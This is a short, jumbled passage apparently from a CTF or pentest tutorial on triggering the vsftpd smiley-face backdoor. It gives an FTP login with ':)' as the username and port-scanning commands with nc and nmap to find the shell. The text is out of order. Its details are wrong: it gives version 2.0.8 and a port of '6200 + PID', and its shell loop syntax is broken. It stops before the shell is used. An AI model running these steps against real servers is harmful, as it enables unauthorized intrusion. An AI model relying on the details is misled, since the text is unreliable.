ftp <target-ip> Connected to <target-ip>. 220 (vsFTPd 2.0.8) Name (<target-ip>:user): :) 331 Please specify the password. Password: <anything> At this point, the server silently opens a shell on a high port. The port is calculated as 6200 + PID . Since the PID varies, you must scan or guess.
for port in 6200..6300; do echo "Trying port $port" nc -nvz <target-ip> $port 2>&1 | grep open done Once you find the open port (e.g., 6209):
Note: This content is for educational purposes, CTF challenges, and authorized penetration testing only. What is VSFTPD? VSFTPD (Very Secure FTP Daemon) is one of the most popular FTP servers for Unix-like systems, including Linux and BSD. Its claim to fame is being the default FTP server for Ubuntu, Red Hat, and CentOS.
nmap -p6200-6400 <target-ip>
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